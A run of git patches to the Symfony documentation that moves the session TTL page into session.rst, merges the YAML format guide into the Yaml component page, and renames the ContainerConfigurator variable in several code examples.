+configure your own TTL in the framework configuration or even at runtime.
+
+.. note::
+
+    Changing the ini setting is not possible once the session is started so
+    if you want to use a different TTL depending on which user is logged
+    in, you must do it at runtime using the callback method below.
+
+Configure the TTL
+.................
+
+You need to pass the TTL in the options array of the session handler you are using:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': 600 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl">600</argument>
+                </argument>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => 600],
+            ]);
+
+Configure the TTL Dynamically at Runtime
+........................................
+
+If you would like to have a different TTL for different users or sessions
+for whatever reason, this is also possible by passing a callback as the TTL
+value. The callback will be called right before the session is written and
+has to return an integer which will be used as TTL.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': !closure '@my.ttl.handler' }
+
+            my.ttl.handler:
+                class: Some\InvokableClass # some class with an __invoke() method
+                arguments:
+                    # Inject whatever dependencies you need to be able to resolve a TTL for the current session
+                    - '@security'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl" type="closure" id="my.ttl.handler"/>
+                </argument>
+            </service>
+            <!-- some class with an __invoke() method -->
+            <service id="my.ttl.handler" class="Some\InvokableClass">
+                <!-- Inject whatever dependencies you need to be able to resolve a TTL for the current session -->
+                <argument type="service" id="security"/>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => closure(service('my.ttl.handler'))],
+            ]);
+
+        $services
+            // some class with an __invoke() method
+            ->set('my.ttl.handler', 'Some\InvokableClass')
+            // Inject whatever dependencies you need to be able to resolve a TTL for the current session
+            ->args([service('security')]);
+
 .. index::
     single: Sessions, saving locale
 
diff --git a/session/configuring_ttl.rst b/session/configuring_ttl.rst
deleted file mode 100644
index cf059efc7bb..00000000000
--- a/session/configuring_ttl.rst
+++ /dev/null
@@ -1,121 +0,0 @@
-.. index::
-    single: Sessions, defining TTL
-
-Configuring the Session TTL
-===========================
-
-Symfony by default will use PHP's ini setting ``session.gc_maxlifetime`` as
-session lifetime. However if you :doc:`store sessions in a database </session/database>`
-you can also configure your own TTL in the framework configuration or even at runtime.
-
-Changing the ini setting is not possible once the session is started so if you
-want to use a different TTL depending on which user is logged in, you really need
-to do it at runtime using the callback method below.
-
-.. _configuring-the-TTL:
-
-Configuring the TTL
--------------------
-
-You need to pass the TTL in the options array of the session handler you are using:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
-                arguments:
-                    - '@Redis'
-                    - { 'ttl': 600 }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <services>
-            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
-                <argument type="service" id="Redis"/>
-                <argument type="collection">
-                    <argument key="ttl">600</argument>
-                </argument>
-            </service>
-        </services>
-
-    .. code-block:: php
-
-        // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-
-        $services
-            ->set(RedisSessionHandler::class)
-            ->args([
-                service('Redis'),
-                ['ttl' => 600],
-            ]);
-
-.. _configuring-the-TTL-dynamically-at-runtime:
-
-Configuring the TTL dynamically at runtime
-------------------------------------------
-
-If you would like to have a different TTL for different
-users or sessions for whatever reason, this is also possible
-by passing a callback as the TTL value. The callback then has
-to return an integer which will be used as TTL.
-
-The callback will be called right before the session is written.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
-                arguments:
-                    - '@Redis'
-                    - { 'ttl': !closure '@my.ttl.handler' }
-             
-            my.ttl.handler:
-                class: Some\InvokableClass # some class with an __invoke() method
-                arguments:
-                    # Inject whatever dependencies you need to be able to resolve a TTL for the current session
-                    - '@security'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <services>
-            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
-                <argument type="service" id="Redis"/>
-                <argument type="collection">
-                    <argument key="ttl" type="closure" id="my.ttl.handler"/>
-                </argument>
-            </service>
-            <!-- some class with an __invoke() method -->
-            <service id="my.ttl.handler" class="Some\InvokableClass">
-                <!-- Inject whatever dependencies you need to be able to resolve a TTL for the current session -->
-                <argument type="service" id="security"/>
-            </service>
-        </services>
-
-    .. code-block:: php
-
-        // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-
-        $services
-            ->set(RedisSessionHandler::class)
-            ->args([
-                service('Redis'),
-                ['ttl' => closure(service('my.ttl.handler'))],
-            ]);
-
-        $services
-            // some class with an __invoke() method
-            ->set('my.ttl.handler', 'Some\InvokableClass')
-            // Inject whatever dependencies you need to be able to resolve a TTL for the current session
-            ->args([service('security')]);

From 981889e01f0d91c5e55b5f4ecf17b478bdf9acfe Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 16:25:54 +0100
Subject: [PATCH 2702/5766] Standardize the name of the container configurator
 variable 6.0

---
 session.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index ba969dc9187..b888e5eee01 100644
--- a/session.rst
+++ b/session.rst
@@ -697,7 +697,7 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
@@ -807,7 +807,7 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
@@ -980,7 +980,7 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)

From 956de74e3e9c25e693a9d3129028c88809d2cea9 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 7 Jan 2023 15:35:09 +0100
Subject: [PATCH 2703/5766] Merge YAML docs into one

---
 components/yaml.rst             | 343 ++++++++++++++++++++++++++++++-
 components/yaml/yaml_format.rst | 344 --------------------------------
 configuration.rst               |   2 +-
 3 files changed, 336 insertions(+), 353 deletions(-)
 delete mode 100644 components/yaml/yaml_format.rst

diff --git a/components/yaml.rst b/components/yaml.rst
index c2e38f5c2d5..e5cdc2d1ebc 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -23,8 +23,7 @@ the `YAML 1.2 version specification`_.
 
 .. tip::
 
-    Learn more about the Yaml component in the
-    :doc:`/components/yaml/yaml_format` article.
+    Learn more about :ref:`YAML specifications <yaml-format>`.
 
 Installation
 ------------
@@ -452,14 +451,342 @@ Add the ``--format`` option to get the output in JSON format:
     YAML files. This may for example be useful for recognizing deprecations of
     contents of YAML files during automated tests.
 
-Learn More
-----------
+.. _yaml-format:
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+.. index::
+    single: Yaml; YAML Format
+
+The YAML Format
+---------------
+
+Scalars
+~~~~~~~
+
+The syntax for scalars is similar to the PHP syntax.
+
+Strings
+.......
+
+Strings in YAML can be wrapped both in single and double quotes. In some cases,
+they can also be unquoted:
+
+.. code-block:: yaml
+
+    A string in YAML
+
+    'A single-quoted string in YAML'
+
+    "A double-quoted string in YAML"
+
+Quoted styles are useful when a string starts or end with one or more relevant
+spaces, because unquoted strings are trimmed on both end when parsing their
+contents. Quotes are required when the string contains special or reserved characters.
+
+When using single-quoted strings, any single quote ``'`` inside its contents
+must be doubled to escape it:
+
+.. code-block:: yaml
+
+    'A single quote '' inside a single-quoted string'
+
+Strings containing any of the following characters must be quoted. Although you
+can use double quotes, for these characters it is more convenient to use single
+quotes, which avoids having to escape any backslash ``\``:
+
+* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
+  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
+
+The double-quoted style provides a way to express arbitrary strings, by
+using ``\`` to escape characters and sequences. For instance, it is very useful
+when you need to embed a ``\n`` or a Unicode character in a string.
+
+.. code-block:: yaml
+
+    "A double-quoted string in YAML\n"
+
+If the string contains any of the following control characters, it must be
+escaped with double quotes:
+
+* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
+  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
+  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
+  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
+  ``\_``, ``\L``, ``\P``
+
+Finally, there are other cases when the strings must be quoted, no matter if
+you're using single or double quotes:
+
+* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
+  boolean value);
+* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
+  ``null`` value);
+* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
+  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
+  (otherwise, it would be treated as a numeric value);
+* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
+  automatically converted into a Unix timestamp).
+
+When a string contains line breaks, you can use the literal style, indicated
+by the pipe (``|``), to indicate that the string will span several lines. In
+literals, newlines are preserved:
+
+.. code-block:: yaml
+
+    |
+      \/ /| |\/| |
+      / / | |  | |__
+
+Alternatively, strings can be written with the folded style, denoted by ``>``,
+where each line break is replaced by a space:
+
+.. code-block:: yaml
+
+    >
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (notice the trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML.\n"
+
+    >-
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (without a trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML."
+
+.. note::
+
+    Notice the two spaces before each line in the previous examples. They
+    won't appear in the resulting PHP strings.
+
+Numbers
+.......
+
+.. code-block:: yaml
+
+    # an integer
+    12
+
+.. code-block:: yaml
+
+    # an octal
+    0o14
+
+.. deprecated:: 5.1
+
+    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
+    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
+    notation and deprecated support for YAML 1.1 notation.
+
+.. code-block:: yaml
+
+    # an hexadecimal
+    0xC
+
+.. code-block:: yaml
+
+    # a float
+    13.4
+
+.. code-block:: yaml
+
+    # an exponential number
+    1.2e+34
+
+.. code-block:: yaml
+
+    # infinity
+    .inf
+
+Nulls
+.....
+
+Nulls in YAML can be expressed with ``null`` or ``~``.
+
+Booleans
+........
+
+Booleans in YAML are expressed with ``true`` and ``false``.
+
+Dates
+.....
+
+YAML uses the `ISO-8601`_ standard to express dates:
+
+.. code-block:: yaml
+
+    2001-12-14T21:59:43.10-05:00
+
+.. code-block:: yaml
+
+    # simple date
+    2002-12-14
+
+.. _yaml-format-collections:
+
+Collections
+~~~~~~~~~~~
+
+A YAML file is rarely used to describe a simple scalar. Most of the time, it
+describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
+or a mapping of elements (associative arrays in PHP).
+
+Sequences use a dash followed by a space:
+
+.. code-block:: yaml
+
+    - PHP
+    - Perl
+    - Python
+
+The previous YAML file is equivalent to the following PHP code::
+
+    ['PHP', 'Perl', 'Python'];
+
+Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
+
+.. code-block:: yaml
+
+    PHP: 5.2
+    MySQL: 5.1
+    Apache: 2.2.20
+
+which is equivalent to this PHP code::
+
+    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
+
+.. note::
+
+    In a mapping, a key can be any valid scalar.
+
+The number of spaces between the colon and the value does not matter:
+
+.. code-block:: yaml
+
+    PHP:    5.2
+    MySQL:  5.1
+    Apache: 2.2.20
+
+YAML uses indentation with one or more spaces to describe nested collections:
+
+.. code-block:: yaml
+
+    'symfony 1.0':
+      PHP:    5.0
+      Propel: 1.2
+    'symfony 1.2':
+      PHP:    5.2
+      Propel: 1.3
+
+The above YAML is equivalent to the following PHP code::
+
+    [
+        'symfony 1.0' => [
+            'PHP'    => 5.0,
+            'Propel' => 1.2,
+        ],
+        'symfony 1.2' => [
+            'PHP'    => 5.2,
+            'Propel' => 1.3,
+        ],
+    ];
+
+There is one important thing you need to remember when using indentation in a
+YAML file: *Indentation must be done with one or more spaces, but never with
+tabulators*.
+
+You can nest sequences and mappings as you like:
+
+.. code-block:: yaml
+
+    'Chapter 1':
+      - Introduction
+      - Event Types
+    'Chapter 2':
+      - Introduction
+      - Helpers
+
+YAML can also use flow styles for collections, using explicit indicators
+rather than indentation to denote scope.
+
+A sequence can be written as a comma separated list within square brackets
+(``[]``):
+
+.. code-block:: yaml
+
+    [PHP, Perl, Python]
+
+A mapping can be written as a comma separated list of key/values within curly
+braces (``{}``):
+
+.. code-block:: yaml
+
+    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
+
+You can mix and match styles to achieve a better readability:
+
+.. code-block:: yaml
+
+    'Chapter 1': [Introduction, Event Types]
+    'Chapter 2': [Introduction, Helpers]
+
+.. code-block:: yaml
+
+    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
+    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
+
+Comments
+~~~~~~~~
+
+Comments can be added in YAML by prefixing them with a hash mark (``#``):
+
+.. code-block:: yaml
+
+    # Comment on a line
+    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
+    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
+
+.. note::
+
+    Comments are ignored by the YAML parser and do not need to be indented
+    according to the current level of nesting in a collection.
+
+Explicit Typing
+~~~~~~~~~~~~~~~
+
+The YAML specification defines some tags to set the type of any data explicitly:
+
+.. code-block:: yaml
 
-    yaml/*
+    data:
+        # this value is parsed as a string (it's not transformed into a DateTime)
+        start_date: !!str 2002-12-14
+
+        # this value is parsed as a float number (it will be 3.0 instead of 3)
+        price: !!float 3
+
+        # this value is parsed as binary data encoded in base64
+        picture: !!binary |
+            R0lGODlhDAAMAIQAAP//9/X
+            17unp5WZmZgAAAOfn515eXv
+            Pz7Y6OjuDg4J+fn5OTk6enp
+            56enmleECcgggoBADs=
+
+Unsupported YAML Features
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The following YAML features are not supported by the Symfony Yaml component:
+
+* Multi-documents (``---`` and ``...`` markers);
+* Complex mapping keys and complex values starting with ``?``;
+* Tagged values as keys;
+* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
+  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
+* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
+  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
+* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
+  ``{foo: ~, bar: ~}`` instead).
 
 .. _`YAML`: https://yaml.org/
 .. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
deleted file mode 100644
index 94f5c96574e..00000000000
--- a/components/yaml/yaml_format.rst
+++ /dev/null
@@ -1,344 +0,0 @@
-.. index::
-    single: Yaml; YAML Format
-
-The YAML Format
-===============
-
-According to the official `YAML website`_, YAML is "a human friendly data
-serialization standard for all programming languages". The Symfony Yaml
-component implements a subset of the `YAML specification`_. Specifically, it
-implements the minimum set of features needed to use YAML as a configuration
-file format.
-
-Scalars
--------
-
-The syntax for scalars is similar to the PHP syntax.
-
-Strings
-~~~~~~~
-
-Strings in YAML can be wrapped both in single and double quotes. In some cases,
-they can also be unquoted:
-
-.. code-block:: yaml
-
-    A string in YAML
-
-    'A single-quoted string in YAML'
-
-    "A double-quoted string in YAML"
-
-Quoted styles are useful when a string starts or end with one or more relevant
-spaces, because unquoted strings are trimmed on both end when parsing their
-contents. Quotes are required when the string contains special or reserved characters.
-
-When using single-quoted strings, any single quote ``'`` inside its contents
-must be doubled to escape it:
-
-.. code-block:: yaml
-
-    'A single quote '' inside a single-quoted string'
-
-Strings containing any of the following characters must be quoted. Although you
-can use double quotes, for these characters it is more convenient to use single
-quotes, which avoids having to escape any backslash ``\``:
-
-* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
-  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
-
-The double-quoted style provides a way to express arbitrary strings, by
-using ``\`` to escape characters and sequences. For instance, it is very useful
-when you need to embed a ``\n`` or a Unicode character in a string.
-
-.. code-block:: yaml
-
-    "A double-quoted string in YAML\n"
-
-If the string contains any of the following control characters, it must be
-escaped with double quotes:
-
-* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
-  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
-  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
-  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
-  ``\_``, ``\L``, ``\P``
-
-Finally, there are other cases when the strings must be quoted, no matter if
-you're using single or double quotes:
-
-* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
-  boolean value);
-* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
-  ``null`` value);
-* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
-  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
-  (otherwise, it would be treated as a numeric value);
-* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
-  automatically converted into a Unix timestamp).
-
-When a string contains line breaks, you can use the literal style, indicated
-by the pipe (``|``), to indicate that the string will span several lines. In
-literals, newlines are preserved:
-
-.. code-block:: yaml
-
-    |
-      \/ /| |\/| |
-      / / | |  | |__
-
-Alternatively, strings can be written with the folded style, denoted by ``>``,
-where each line break is replaced by a space:
-
-.. code-block:: yaml
-
-    >
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (notice the trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML.\n"
-
-    >-
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (without a trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML."
-
-.. note::
-
-    Notice the two spaces before each line in the previous examples. They
-    won't appear in the resulting PHP strings.
-
-Numbers
-~~~~~~~
-
-.. code-block:: yaml
-
-    # an integer
-    12
-
-.. code-block:: yaml
-
-    # an octal
-    0o14
-
-.. deprecated:: 5.1
-
-    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
-    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
-    notation and deprecated support for YAML 1.1 notation.
-
-.. code-block:: yaml
-
-    # an hexadecimal
-    0xC
-
-.. code-block:: yaml
-
-    # a float
-    13.4
-
-.. code-block:: yaml
-
-    # an exponential number
-    1.2e+34
-
-.. code-block:: yaml
-
-    # infinity
-    .inf
-
-Nulls
-~~~~~
-
-Nulls in YAML can be expressed with ``null`` or ``~``.
-
-Booleans
-~~~~~~~~
-
-Booleans in YAML are expressed with ``true`` and ``false``.
-
-Dates
-~~~~~
-
-YAML uses the `ISO-8601`_ standard to express dates:
-
-.. code-block:: yaml
-
-    2001-12-14T21:59:43.10-05:00
-
-.. code-block:: yaml
-
-    # simple date
-    2002-12-14
-
-.. _yaml-format-collections:
-
-Collections
------------
-
-A YAML file is rarely used to describe a simple scalar. Most of the time, it
-describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
-or a mapping of elements (associative arrays in PHP).
-
-Sequences use a dash followed by a space:
-
-.. code-block:: yaml
-
-    - PHP
-    - Perl
-    - Python
-
-The previous YAML file is equivalent to the following PHP code::
-
-    ['PHP', 'Perl', 'Python'];
-
-Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
-
-.. code-block:: yaml
-
-    PHP: 5.2
-    MySQL: 5.1
-    Apache: 2.2.20
-
-which is equivalent to this PHP code::
-
-    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
-
-.. note::
-
-    In a mapping, a key can be any valid scalar.
-
-The number of spaces between the colon and the value does not matter:
-
-.. code-block:: yaml
-
-    PHP:    5.2
-    MySQL:  5.1
-    Apache: 2.2.20
-
-YAML uses indentation with one or more spaces to describe nested collections:
-
-.. code-block:: yaml
-
-    'symfony 1.0':
-      PHP:    5.0
-      Propel: 1.2
-    'symfony 1.2':
-      PHP:    5.2
-      Propel: 1.3
-
-The above YAML is equivalent to the following PHP code::
-
-    [
-        'symfony 1.0' => [
-            'PHP'    => 5.0,
-            'Propel' => 1.2,
-        ],
-        'symfony 1.2' => [
-            'PHP'    => 5.2,
-            'Propel' => 1.3,
-        ],
-    ];
-
-There is one important thing you need to remember when using indentation in a
-YAML file: *Indentation must be done with one or more spaces, but never with
-tabulators*.
-
-You can nest sequences and mappings as you like:
-
-.. code-block:: yaml
-
-    'Chapter 1':
-      - Introduction
-      - Event Types
-    'Chapter 2':
-      - Introduction
-      - Helpers
-
-YAML can also use flow styles for collections, using explicit indicators
-rather than indentation to denote scope.
-
-A sequence can be written as a comma separated list within square brackets
-(``[]``):
-
-.. code-block:: yaml
-
-    [PHP, Perl, Python]
-
-A mapping can be written as a comma separated list of key/values within curly
-braces (``{}``):
-
-.. code-block:: yaml
-
-    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
-
-You can mix and match styles to achieve a better readability:
-
-.. code-block:: yaml
-
-    'Chapter 1': [Introduction, Event Types]
-    'Chapter 2': [Introduction, Helpers]
-
-.. code-block:: yaml
-
-    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
-    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
-
-Comments
---------
-
-Comments can be added in YAML by prefixing them with a hash mark (``#``):
-
-.. code-block:: yaml
-
-    # Comment on a line
-    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
-    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
-
-.. note::
-
-    Comments are ignored by the YAML parser and do not need to be indented
-    according to the current level of nesting in a collection.
-
-Explicit Typing
----------------
-
-The YAML specification defines some tags to set the type of any data explicitly:
-
-.. code-block:: yaml
-
-    data:
-        # this value is parsed as a string (it's not transformed into a DateTime)
-        start_date: !!str 2002-12-14
-
-        # this value is parsed as a float number (it will be 3.0 instead of 3)
-        price: !!float 3
-
-        # this value is parsed as binary data encoded in base64
-        picture: !!binary |
-            R0lGODlhDAAMAIQAAP//9/X
-            17unp5WZmZgAAAOfn515eXv
-            Pz7Y6OjuDg4J+fn5OTk6enp
-            56enmleECcgggoBADs=
-
-Unsupported YAML Features
--------------------------
-
-The following YAML features are not supported by the Symfony Yaml component:
-
-* Multi-documents (``---`` and ``...`` markers);
-* Complex mapping keys and complex values starting with ``?``;
-* Tagged values as keys;
-* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
-  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
-* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
-  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
-* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
-  ``{foo: ~, bar: ~}`` instead).
-
-.. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
-.. _`YAML website`: https://yaml.org/
-.. _`YAML specification`: https://www.yaml.org/spec/1.2/spec.html
diff --git a/configuration.rst b/configuration.rst
index f1f66be2fdf..702ba9a3f59 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -102,7 +102,7 @@ YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
-  and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
+  and validation for it. :ref:`Learn the YAML syntax <yaml-format>`;
 * **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
 * **PHP**: very powerful and it allows you to create dynamic configuration with

From 6943bc7ae2749ca610752af9d5655449d346ca21 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 16:31:02 +0100
Subject: [PATCH 2704/5766] Standardize the name of the container configurator
 variable 6.1

---
 bundles/configuration.rst            | 4 ++--
 bundles/extension.rst                | 8 ++++----
 bundles/prepend_extension.rst        | 6 +++---
 configuration/micro_kernel_trait.rst | 6 +++---
 notifier.rst                         | 4 ++--
 service_container/factories.rst      | 4 ++--
 service_container/tags.rst           | 4 ++--
 7 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index d8c7a44d7bd..2556546e2d0 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -352,11 +352,11 @@ add this logic to the bundle class directly::
             ;
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             // Contrary to the Extension class, the "$config" variable is already merged
             // and processed. You can use it directly to configure the service container.
-            $container->services()
+            $containerConfigurator->services()
                 ->get('acme.social.twitter_client')
                 ->arg(0, $config['twitter']['client_id'])
                 ->arg(1, $config['twitter']['client_secret'])
diff --git a/bundles/extension.rst b/bundles/extension.rst
index de5dee53c0c..6dca67b82e2 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -131,18 +131,18 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             // load an XML, PHP or Yaml file
-            $container->import('../config/services.xml');
+            $containerConfigurator->import('../config/services.xml');
 
             // you can also add or replace parameters and services
-            $container->parameters()
+            $containerConfigurator->parameters()
                 ->set('acme_hello.phrase', $config['phrase'])
             ;
 
             if ($config['scream']) {
-                $container->services()
+                $containerConfigurator->services()
                     ->get('acme_hello.printer')
                         ->class(ScreamingPrinter::class)
                 ;
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index a1b559abd85..0c743a42c12 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -173,7 +173,7 @@ method::
 
     class FooBundle extends AbstractBundle
     {
-        public function prependExtension(ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             // prepend
             $builder->prependExtensionConfig('framework', [
@@ -181,12 +181,12 @@ method::
             ]);
 
             // append
-            $container->extension('framework', [
+            $containerConfigurator->extension('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
 
             // append from file
-            $container->import('../config/packages/cache.php');
+            $containerConfigurator->import('../config/packages/cache.php');
         }
     }
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ec62277e224..c7755790764 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -93,10 +93,10 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ];
             }
 
-            protected function configureContainer(ContainerConfigurator $c): void
+            protected function configureContainer(ContainerConfigurator $containerConfigurator): void
             {
                 // PHP equivalent of config/packages/framework.yaml
-                $c->extension('framework', [
+                $containerConfigurator->extension('framework', [
                     'secret' => 'S0ME_SECRET'
                 ]);
             }
